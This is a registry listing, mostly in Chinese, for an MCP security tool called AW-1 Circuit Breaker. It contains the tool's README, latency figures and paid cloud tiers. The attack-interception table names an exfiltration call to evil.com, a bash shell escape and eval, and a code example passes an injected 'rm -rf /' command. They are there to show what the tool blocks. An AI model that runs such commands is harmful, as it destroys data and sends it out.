AW-1 Sovereign Circuit Breaker

io.github.MvikManners由 GitHub 账号 MvikManners 发布v2.2.1更新于 Oct 25, 2026

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

发布方自己的服务：Circuit

已验证SSE可网页运行开发者工具安全与监控

服务详情

标识符: io.github.MvikManners/aw1-circuit-breaker
传输: SSE
运行时: Web executable
信任: Verified
发布于: Oct 20, 2026

安全提示

MCP 服务会接收对话中的工具调用请求，并可能执行外部操作。启用前请先了解该服务能做什么，并只授予它所需的权限。

注册中心已验证此条目所属的 GitHub 账号 MvikManners。这并不表明该账号就是产品方。

SourceWeft 的检查只涵盖条目是否完整、端点是否响应；不审查服务器的代码，也不审查其工具的行为。

在 README 中添加徽章

向读者展示该 MCP 服务已收录于 SourceWeft，徽章链接到本页。

[![Listed on SourceWeft](https://sourceweft.com/badge/mcp/io.github.MvikManners%2Faw1-circuit-breaker.svg)](https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker?utm_source=readme&utm_medium=badge)

概览

AI 生成的概览

一个确定性的 AST 层安全断路器，在 Python 工具调用执行前进行检查，拦截 shell 逃逸、动态 eval 和套接字外联。

可以做什么: 在代码运行前以抽象语法树层面检查并验证代码片段，标记受限调用和未授权模块导入。
拦截尝试 shell 逃逸、动态 eval 或隐蔽网络连接的智能体工具调用，返回拦截结果而不执行。
对 shell 命令参数进行快速过滤，识别注入尝试。
运行本地演示与漏洞利用展示，或对检查延迟进行基准测试。
连接托管云网关，用于集中策略编排、审计合规与证明令牌。
适用场景: 适用于助手或自主智能体执行 Python 或 shell 工具调用、且希望采用确定性执行前检查而非基于提示词的护栏的场景。适合需要阻止 eval、subprocess 和 socket 滥用的智能体流水线与 MCP 服务器。
运行要求: 清单声明为无需认证的远程 SSE 端点；README 则描述本地使用方式，需要 Python 与 pip 依赖，或使用 uvx，也可通过 HOL Guard 或各运行时自带 CLI 安装插件。托管云网关是独立的商业服务。

安装前请注意

README 宣传按月配额和许可证密钥计费的云服务层级，请确认是否真的需要托管网关。清单声明的远程端点未要求认证，README 中的安装命令会运行第三方工具和插件，应用前请先审查。防护范围仅限于 AST 检查所能覆盖的内容。

安装

在 SourceWeft 中

打开控制台中的 AW-1 Sovereign Circuit Breaker，将其添加到工作区。
为需要使用其工具的对话启用该服务。

Web executable，通过 SSE。远程服务在工作区中配置后即可从网页运行时运行。

交给智能体安装

把这段提示词粘贴到 Claude Code、Codex、Cursor 等智能体，或 SourceWeft 对话中。智能体会读取该服务器的安装指南，先向你展示发布者、端点和登录方式，经你同意后再把它添加到你的客户端。密钥不会写进任何命令。

阅读 https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker/install.md，并按其中说明把这个 MCP 服务器接入我的客户端。修改任何配置之前，先告诉我它的发布者、端点和登录方式，等我确认。不要把 API 密钥写进命令或我会提交的文件；问我密钥应从哪里获取。

查看智能体所依据的安装指南

其他 MCP 客户端

把它添加到你客户端的 mcpServers 配置中。

{
  "mcpServers": {
    "aw-1-sovereign-circuit-breaker": {
      "type": "sse",
      "url": "https://p20.laveto.net/wisdom/mcp/sse"
    }
  }
}

README

Install with HOL Guard, which checks the HOL listing and asks before each runtime:

Get HOL Guard with pipx install hol-guard or uv tool install hol-guard.

Install with each runtime's own CLI

Runtime	Commands
Claude Code	`claude plugin marketplace add mvikmanners/aw1-circuit-breaker` `claude plugin install aw1-circuit-breaker@aw1-circuit-breaker`
Codex	`codex plugin marketplace add mvikmanners/aw1-circuit-breaker` `codex plugin add aw1-circuit-breaker@aw1-circuit-breaker`

AW-1 Circuit Breaker

[HOL Guard]

[Glama]

[PyPI version] [License: MIT] [Latency]

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

Or verify an arbitrary snippet:

AW-1 Circuit Breaker

[Glama Score]

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

Running the Server

Run directly with Python:

Or via uvx:

MCP Client Configuration

json

{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack Vector	Attacker Strategy	LLM Guardrail Result	AW-1 AST Circuit Breaker
Dynamic Execution	`eval(compile(...))`	Evades semantic filters	Tripped (`RESTRICTED_INVOCATION`)
Shell Escapes	`subprocess.Popen(['bash', ...])`	Masked as system task	Tripped (`UNAUTHORIZED_MODULE_IMPORT`)
Lateral Exfiltration	`socket.connect(('evil.com', 443))`	Disguised as HTTP fetch	Tripped (`UNAUTHORIZED_MODULE_IMPORT`)

Run the Showcase

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Target	p50 Latency	p95 Latency	p99 Latency	Status
AST Inspection (Benign Payload)	0.0889 ms	0.1298 ms	0.1645 ms	`< 0.2 ms` Overhead
AST Inspection (Adversarial Exploit)	0.0520 ms	0.0919 ms	0.1051 ms	Instant Breakout Halt
Shell Argument Injection Guard	0.0051 ms	0.0096 ms	0.0195 ms	Sub-20 µs Inspection

Reproduce locally:

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

python

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

💳 Cloud Gateway & Commercial Licensing

While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted AW-1 Sovereign Cloud Gateway at https://p20.laveto.net for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.

Tier	Price	Monthly Quota	Features	Checkout
Developer Pro	BWP 650.00 / mo ($49 USD)	100,000 Verified Audits	1 commercial license key, offline HMAC validation, Layer 0 AST unpacker, community support	👉 Subscribe Now
Team / Startup	BWP 2,650.00 / mo ($199 USD)	1,000,000 Verified Audits	5 developer seat keys, Redis distributed state sync, rolling velocity caps, priority alerts	👉 Subscribe Team
Enterprise Dedicated	BWP 13,200.00 / mo ($990 USD)	Unlimited Verified Audits	Dedicated gateway tenant, custom statutory risk lenses, SLA guarantees, SHA-256 Decision Assurance Dossiers	💬 Contact Enterprise